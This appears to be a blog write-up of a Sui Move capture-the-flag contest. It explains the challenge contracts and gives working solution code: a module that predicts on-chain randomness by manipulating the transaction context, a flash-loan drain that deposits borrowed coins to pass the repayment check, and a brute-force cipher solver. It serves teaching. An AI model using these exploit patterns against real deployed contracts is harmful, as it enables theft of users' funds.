Move is a programming language specifically designed for building secure smart contracts that can be formally verified. Recently, Move has brought wide attention along with the rise of multiple Move-compatible blockchain ecosystems such as Aptos and Sui. See our recent blogposts covering an introduction to Move and some lessons learned from our Aptos smart contract audit.
The recent Move Capture the Flag (CTF) competition hosted on the Sui blockchain devnet gave developers experience working with the Move programming language and a chance to learn the Sui framework from scratch. In this post, we'll go through the different challenges developers were presented with and the solutions to each of the problems.
The contest included four challenges:
This is a simple warm-up challenge. You can follow along with the code here. By following the steps below, we can capture the flag by calling the get_flag()
function to trigger a Flag
event.
Step 1: Click the Get Account button to create a new account.
Step 2: Transfer some currency (at least 0.001 SUI) to the new account to pay for gas. You can get gas from a faucet (e.g. the SUI Faucet on Discord) or just transfer gas from your own account.
Step 3: After the new account receives the gas, click Deploy to deploy the challenge contract using the new account.
Step 4: Read the contract code, try to work out the challenge, and call the get_flag()
function to successfully trigger an event.
Step 5: Click the Get Flag button to submit the transaction hash which has triggered the Flag event. Then submit the flag to the CTF platform.
There are multiple ways to invoke the get_flag()
function in the deployed module on Sui DevNet:
As an example, we can simply interact with the get_flag
function directly:
sui client call --function [function_name] --module [module_name] --package [package_address] --gas-budget 30000
The SimpleGame challenge is a game that allows users to create a Hero, beat boars to level up the hero, beat Boar Kings to get treasury boxes and open the boxes to get the flag. You can find the contract code here.
The winning condition for this challenge is to call the get_flag
function to trigger a Flag
event. The generation of the event depends on the random value d100
, as the random value ranges from 0 to 100, which means that there is only a 1% chance of successfully opening the box.
public entry fun get_flag(box: TreasuryBox, ctx: &mut TxContext) { let TreasuryBox { id } = box; object::delete(id); let d100 = random::rand_u64_range(0, 100, ctx); if (d100 == 0) { event::emit(Flag { user: tx_context::sender(ctx), flag: true }); } }
In order to get this box, we need to defeat the Boar King, and there is a random value d100
to determine whether a new box is created when we successfully defeat the Boar King, also with a 1% chance.
public entry fun slay_boar_king(hero: &mut Hero, ctx: &mut TxContext) { assert!(hero::stamina(hero) > 0, EHERO_TIRED); let boar = create_monster<BoarKing>( BOARKING_MIN_HP, BOARKING_MAX_HP, BOARKING_MIN_STRENGTH, BOARKING_MAX_STRENGTH, BOARKING_MIN_DEFENSE, BOARKING_MAX_DEFENSE, ctx ); let fight_result = fight_monster<BoarKing>(hero, &boar); hero::decrease_stamina(hero, 2); // hero takes their licks if (fight_result == 1) { // hero won hero::increase_experience(hero, 2); let d100 = random::rand_u64_range(0, 100, ctx); if (d100 == 0) { let box = inventory::create_treasury_box(ctx); transfer::transfer(box, tx_context::sender(ctx)); }; }; // let the world know about the hero's triumph by emitting an event! event::emit(SlainEvent<BoarKing> { slayer_address: tx_context::sender(ctx), hero: hero::id(hero), boar: object::uid_to_inner(&boar.id), }); let Monster<BoarKing> { id, hp: _, strength: _, defense: _} = boar; object::delete(id); }
As mentioned above, we need to defeat the Boar King first, which depends on hero_strength
and hero_defense
. A Hero with Level 1 cannot hurt the Boar King because INITIAL_HERO_STRENGTH
is equal to BOARKING_MIN_DEFENSE
. The hero should level up by hitting the normal boar first. In addition, the number of operations we can do is limited by HERO_STAMINA
, which means we cannot try forever.
The initial status of the Hero is shown below:
const INITAL_HERO_HP: u64 = 100; const INITIAL_HERO_STRENGTH: u64 = 10; const INITIAL_HERO_DEFENSE: u64 = 5; const HERO_STAMINA: u64 = 200;
The initial status of the Boar King shown below:
const BOARKING_MIN_HP: u64 = 180; const BOARKING_MAX_HP: u64 = 220; const BOARKING_MIN_STRENGTH: u64 = 20; const BOARKING_MAX_STRENGTH: u64 = 25; const BOARKING_MIN_DEFENSE: u64 = 10; const BOARKING_MAX_DEFENSE: u64 = 15;
As we are limited to two main random values – one for box dropping and the one for event generation, we need to figure out how the random number works. Otherwise, we can only solve this challenge by luck.
Firstly, we look into how the random number is generated, it’s interesting that the seed is based on the TxContext
. The seed is a combination of ctx_bytes
and uid_bytes
.
fun seed(ctx: &mut TxContext): vector<u8> { let ctx_bytes = bcs::to_bytes(ctx); let uid = object::new(ctx); let uid_bytes: vector<u8> = object::uid_to_bytes(&uid); object::delete(uid); let info: vector<u8> = vector::empty<u8>(); vector::append<u8>(&mut info, ctx_bytes); vector::append<u8>(&mut info, uid_bytes); let hash: vector<u8> = hash::sha3_256(info); hash }
As a follow-up, we can study the structure of TxContext
, the generation of uid
and try to find out if there is a chance to manipulate the seeds. We find the following.
ids_created
will increase by one when new_objects
invoked
uid
is a hash (sha3_256
) value derived from ctx.tx_hash
and ids_created
, and uid
will be truncated to 20 bytes (ObjectID::LENGTH
)
The uid
is calculated with the original ids_created
and the updated value for ids_created
after the id is created
#[derive(Clone, Debug, Deserialize, Serialize, PartialEq, Eq)] pub struct TxContext { /// Signer/sender of the transaction sender: AccountAddress, /// Digest of the current transaction digest: Vec<u8>, /// The current epoch number epoch: EpochId, /// Number of `ObjectID`'s generated during execution of the current transaction ids_created: u64, }
public fun new(ctx: &mut TxContext): UID { UID { id: ID { bytes: tx_context::new_object(ctx) }, } } public(friend) fun new_object(ctx: &mut TxContext): address { let ids_created = ctx.ids_created; let id = derive_id(*&ctx.tx_hash, ids_created); ctx.ids_created = ids_created + 1; id } /// Native function for deriving an ID via hash(tx_hash || ids_created) native fun derive_id(tx_hash: vector<u8>, ids_created: u64): address; /// Create an ObjectID from `self` and `creation_num`. /// Caller is responsible for ensuring that `creation_num` is fresh pub fn derive_id(&self, creation_num: u64) -> ObjectID { // TODO(https://github.com/MystenLabs/sui/issues/58):audit ID derivation let mut hasher = Sha3_256::default(); hasher.update(self.0); hasher.update(creation_num.to_le_bytes()); let hash = hasher.finalize(); // truncate into an ObjectID. ObjectID::try_from(&hash.as_ref()[0..ObjectID::LENGTH]).unwrap() }
Based on the analysis above, we propose the following solution:
To manipulate the random value, we produce a custom random module modified from the original one as a helper
decode current TxContext
, add a custom number on ids_created
and generate the mock seed
try to get the custom number that allows the mock seed to reach a random value equal to 0
manipulate the ids_created
in the current TxContext
with the custom number we want
To defeat the Boar King:
beat the boar via slay_boar
and let the hero reach level 2
manipulate the random value
beat the Boar King via slay_boar_king
To get the flag:
manipulate the random value
get the flag via get_flag
Solution module:
get_box()
a. Update the hero by slay_boar to ensure the Hero can defeat the King
b. Manipulate the random to ensure that, if we can kill the King, we can get the box
c. The reason we retain four steps random::manipulate(dist-4, ctx)
is that there are four new object created inside the slay_boar_king
with create_monster()
get_flag()
a. manipulate the random number
b. invoke get_flag()
module challenge_one::solution { use sui::tx_context::{TxContext}; use game::hero::{Self, Hero}; use game::adventure::{slay_boar, slay_boar_king}; use game::inventory::{TreasuryBox, get_flag}; use challenge_one::random; public entry fun get_box(hero: &mut Hero, ctx: &mut TxContext) { while(hero::experience(hero) < 100) { slay_boar(hero, ctx); }; hero::level_up(hero); // manipulate the ctx let dist = random::get_distance(ctx); random::manipulate(dist-4, ctx); slay_boar_king(hero, ctx); } public entry fun open_box(box: TreasuryBox, ctx: &mut TxContext) { let dist = random::get_distance(ctx); random::manipulate(dist, ctx); get_flag(box, ctx); } }
Custom random module:
mock_seed
: split the TxContext and add num
to the ids_created
get_distance
: try to get the distance between the current TxContext
and manipulated TxContext
with random value 0, return the distance
manipulate
: update the TxContext
with the distance
module challenge_one::random { use std::hash; use std::vector; use sui::bcs; use sui::object; use sui::tx_context::TxContext; const ERR_HIGH_ARG_GREATER_THAN_LOW_ARG: u64 = 101; fun mock_seed(num: u64, ctx: &mut TxContext): vector<u8> { // split the TxContext let ctx_bytes = bcs::new(bcs::to_bytes(ctx)); let ctx_address = bcs::peel_address(&mut ctx_bytes); let ctx_digest = bcs::peel_vec_u8(&mut ctx_bytes); let ctx_epoch = bcs::peel_u64(&mut ctx_bytes); let ctx_ids_created = bcs::peel_u64(&mut ctx_bytes); let ids_created = ctx_ids_created + num; // create uid let tmp: vector<u8> = vector::empty<u8>(); vector::append<u8>(&mut tmp, ctx_digest); vector::append<u8>(&mut tmp, bcs::to_bytes(&ids_created)); let tmp_uid_full: vector<u8> = hash::sha3_256(tmp); let tmp_uid_trucate: vector<u8> = vector::empty<u8>(); let i = 0; while (i < 20){ let tmp_bytes = vector::borrow<u8>(&tmp_uid_full, i); vector::push_back<u8>(&mut tmp_uid_trucate, *tmp_bytes); i = i + 1; }; assert!(vector::length(&tmp_uid_trucate) == 20, 1); // rebuild ctx_bytes let ctx_bytes_new: vector<u8> = vector::empty<u8>(); vector::append<u8>(&mut ctx_bytes_new, bcs::to_bytes(&ctx_address)); vector::append<u8>(&mut ctx_bytes_new, bcs::to_bytes(&ctx_digest)); vector::append<u8>(&mut ctx_bytes_new, bcs::to_bytes(&ctx_epoch)); vector::append<u8>(&mut ctx_bytes_new, bcs::to_bytes(&ids_created)); // reuse `seed` process let info: vector<u8> = vector::empty<u8>(); vector::append<u8>(&mut info, ctx_bytes_new); vector::append<u8>(&mut info, tmp_uid_trucate); let s = hash::sha3_256(info); s } public fun get_distance(ctx: &mut TxContext): u64 { let i = 0; while(true){ let res = rand_u64_range(0, 100, i, ctx); if(res == 0){ break }; i = i + 1; }; i } public fun manipulate(dist: u64, ctx: &mut TxContext){ // update ctx with the distance let i = dist; while(i > 0){ let id = object::new(ctx); object::delete(id); i = i - 1; }; } fun bytes_to_u64(bytes: vector<u8>): u64 { let value = 0u64; let i = 0u64; while (i < 8) { value = value | ((*vector::borrow(&bytes, i) as u64) << ((8 * (7 - i)) as u8)); i = i + 1; }; return value } /// Generate a random u64 fun rand_u64_with_seed(_seed: vector<u8>): u64 { bytes_to_u64(_seed) } /// Generate a random integer range in [low, high). fun rand_u64_range_with_seed(_seed: vector<u8>, low: u64, high: u64): u64 { assert!(high > low, ERR_HIGH_ARG_GREATER_THAN_LOW_ARG); let value = rand_u64_with_seed(_seed); (value % (high - low)) + low } /// Generate a random integer range in [low, high). public fun rand_u64_range(low: u64, high: u64, num: u64, ctx: &mut TxContext): u64 { rand_u64_range_with_seed(mock_seed(num, ctx), low, high) } }
This challenge is derived from a flash loan contract, which uses the “Hot Potato” design pattern. The Flashloan contract creates a FlashLender
resource, which allows users to deposit tokens and withdraw their tokens from FlashLender
. Additionally, the loan
method allows users to flashloan assets in the FlashLender
, which returns a Receipt
resource that requires the caller to destroy via check
method before the end of the call. The contract code is here.
Background - Hot Potato Pattern
Reference: Hot Potato - Sui Move by Example
Hot Potato is a name for a struct/resource that has no key
, store
, or drop
abilities, meaning it needs to be packed and unpacked in its module. For example, the Receipt
struct in this challenge is a Hot Potato:
struct Receipt { flash_lender_id: ID, amount: u64 }
It is worth mentioning that the atomic pattern is ideal for designing a flash loan, which requires the borrower to repay the flash loan in a single transaction.
To get the flag, we need to drain all the assets from the pool, which holds 1000 flash loan coins.
// check whether you can get the flag public entry fun get_flag(self: &mut FlashLender, ctx: &mut TxContext) { if (balance::value(&self.to_lend) == 0) { event::emit(Flag { user: tx_context::sender(ctx), flag: true }); } }
The vulnerability lies in a design fault, where the check
and repay
functions are implemented separately. In this case, as long as the current balance in the pool is more than the balance before borrowing a flash loan, the check
invocation will destroy the Receipt
struct, thus completing the transaction.
// check the amount in FlashLender is correct public fun check(self: &mut FlashLender, receipt: Receipt) { let Receipt { flash_lender_id, amount: _ } = receipt; assert!(object::id(self) == flash_lender_id, 0); assert!(balance::value(&self.to_lend) >= self.last, 0); }
However, the deposit
invocation can also increase the balance of the pool. Therefore, the attacker can use the borrowed assets to “deposit” to the pool and later call withdraw
to gain the asset.
With the above analysis, we can design the following invocation pattern to drain the assets.
Call loan()
to borrow 1000 coins along with a Receipt
resource, which decreases the value of the to_lend
field in the FlashLender
.
Call deposit()
to deposit the borrowed coins to the FlashLender
to increase the to_lend
field.
The check()
to destroy the Receipt resource will be bypassed as the to_lend
field has been increased in the deposit()
call.
Finally, we can steal the asset by calling withdraw()
.
module ctf::solution { use sui::tx_context::{TxContext}; use movectf::flash::{Self, FlashLender}; public entry fun attack(self: &mut FlashLender, ctx: &mut TxContext){ let (loan, receipt) = flash::loan(self, 1000, ctx); flash::deposit(self, loan, ctx); flash::check(self, receipt); flash::withdraw(self, 1000, ctx); flash::get_flag(self, ctx); } }
After deploying the above module, we can capture the flag by calling the attack
function:
sui client call --function attack --module solution --package <your_packID> --args <FlashLenderID> --gas-budget 3000
The MoveLock challenge requires participants to input two integer lists and a predefined operator of the two input lists results in a preset encrypted flag. The contract code is here.
The prerequisite of getting the flag is to set resource_object.q1
to true
, which can only happen in the function movectf_unlock()
.
public entry fun get_flag(resource_object: &ResourceObject, ctx: &mut TxContext) { if (resource_object.q1) { event::emit(Flag { user: tx_context::sender(ctx), flag: true }) } }
public entry fun movectf_unlock(data1 : vector<u64>, data2 : vector<u64>, resource_object: &mut ResourceObject, _ctx: &mut TxContext) { let encrypted_flag : vector<u64> = vector[19, 16, 17, 11, 9, 21, 18, 2, 3, 22, 7, 4, 25, 21, 5, 7, 23, 6, 23, 5, 13, 3, 5, 9, 16, 12, 22, 14, 3, 14, 12, 22, 18, 4, 3, 9, 2, 19, 5, 16, 7, 20, 1, 11, 18, 23, 4, 15, 20, 5, 24, 9, 1, 12, 5, 16, 10, 7, 2, 1, 21, 1, 25, 18, 22, 2, 2, 7, 25, 15, 7, 10]; if (movectf_lock(data1, data2) == encrypted_flag) { if (!resource_object.q1) { resource_object.q1 = true; } } }
In order to set resource_object.q1
to true
, we need to provide two u64
vectors so that the function movectf_lock()
with these two inputs returns the preset vector encrypted_flag
.
The function movectf_lock()
does a series of calculations that look similar to matrix multiplications.
fun movectf_lock(data1 : vector<u64>, data2 : vector<u64>) : vector<u64> { let input1 = copy data1; let plaintext = &mut input1; let plaintext_length = vector::length(plaintext); ... let complete_plaintext = vector::empty<u64>(); vector::push_back(&mut complete_plaintext, 4); ... vector::append(&mut complete_plaintext, *plaintext); plaintext_length = plaintext_length + 9; let input2 = copy data2; let key = &mut input2; let a11 = *vector::borrow(key, 0); ... let ciphertext = vector::empty<u64>(); while (i < plaintext_length) { let p11 = *vector::borrow(&mut complete_plaintext, i+0); let p21 = *vector::borrow(&mut complete_plaintext, i+1); let p31 = *vector::borrow(&mut complete_plaintext, i+2); let c11 = ( (a11 * p11) + (a12 * p21) + (a13 * p31) ) % 26; let c21 = ( (a21 * p11) + (a22 * p21) + (a23 * p31) ) % 26; let c31 = ( (a31 * p11) + (a32 * p21) + (a33 * p31) ) % 26; vector::push_back(&mut ciphertext, c11); vector::push_back(&mut ciphertext, c21); vector::push_back(&mut ciphertext, c31); ... }; ciphertext }
In another format:
Therefore, we can write a script to generate two vectors meeting the required condition easily.
We can use the following Python scripts to generate two input vectors.
Get the key data2
:
cp = [[4, 15, 11], [0, 13, 4], [19, 19, 19]] ct = [[19, 11, 18], [16, 9, 2], [17, 21, 3]] solution = [] for i in range(len(cp)): found = False for a in range(0, 100): for b in range(0, 100): for c in range(0, 100): if ( cp[0][0] * a + cp[0][1] * b + cp[0][2] * c) % 26 == ct[i][0] \ and (cp[1][0] * a + cp[1][1] * b + cp[1][2] * c) % 26 == ct[i][1] \ and (cp[2][0] * a + cp[2][1] * b + cp[2][2] * c) % 26 == ct[i][2]: solution.extend([a, b, c]) found = True break if found: break if found: break print(solution)
Decrypt the encrypted_flag
to get data1
:
results= [[22, 7, 4], [25, 21, 5], [7, 23, 6], [23, 5, 13], [3, 5, 9], [16, 12, 22], [14, 3, 14], [12, 22, 18], [4, 3, 9], [2, 19, 5], [16, 7, 20], [1, 11, 18], [23, 4, 15], [20, 5, 24], [9, 1, 12], [5, 16, 10], [7, 2, 1], [21, 1, 25], [18, 22, 2], [2, 7, 25], [15, 7, 10]] solution = [] for i in range(len(results)): found = False for a in range(0, 100): for b in range(0, 100): for c in range(0, 100): if (25 * a + 11 * b + 6 * c) % 26 == results[i][0] and (10 * a + 13 * b + 25 * c) % 26 == results[i][1] and (12 * a + 19 * b + 2 * c) % 26 == results[i][2]: solution.extend([a, b, c]) found = True break if found: break if found: break print(solution)
After getting the input vectors, we can deploy a new module with the vectors and capture the final flag!
module ctf::test { use sui::tx_context::{TxContext}; use movectf::move_lock::{Self, ResourceObject}; use sui::event; public entry fun attack(self: &mut ResourceObject, ctx: &mut TxContext){ let data1:vector<u64> = vector[2, 14, 13, 6, 17, 0, 19, 20, 11, 0, 19, 8, 14, 13, 18, 24, 14, 20, 12, 0, 13, 0, 6, 4, 3, 19, 14, 1, 17, 4, 0, 10, 19, 7, 4, 7, 8, 11, 11, 2, 8, 15, 7, 4, 17, 7, 0, 2, 10, 19, 7, 4, 7, 0, 2, 10, 24, 15, 11, 0, 13, 4, 19]; let data2:vector<u64> = vector[25, 11, 6, 10, 13, 25, 12, 19, 2]; move_lock::movectf_unlock(data1, data2, self, ctx); move_lock::get_flag(self, ctx); } }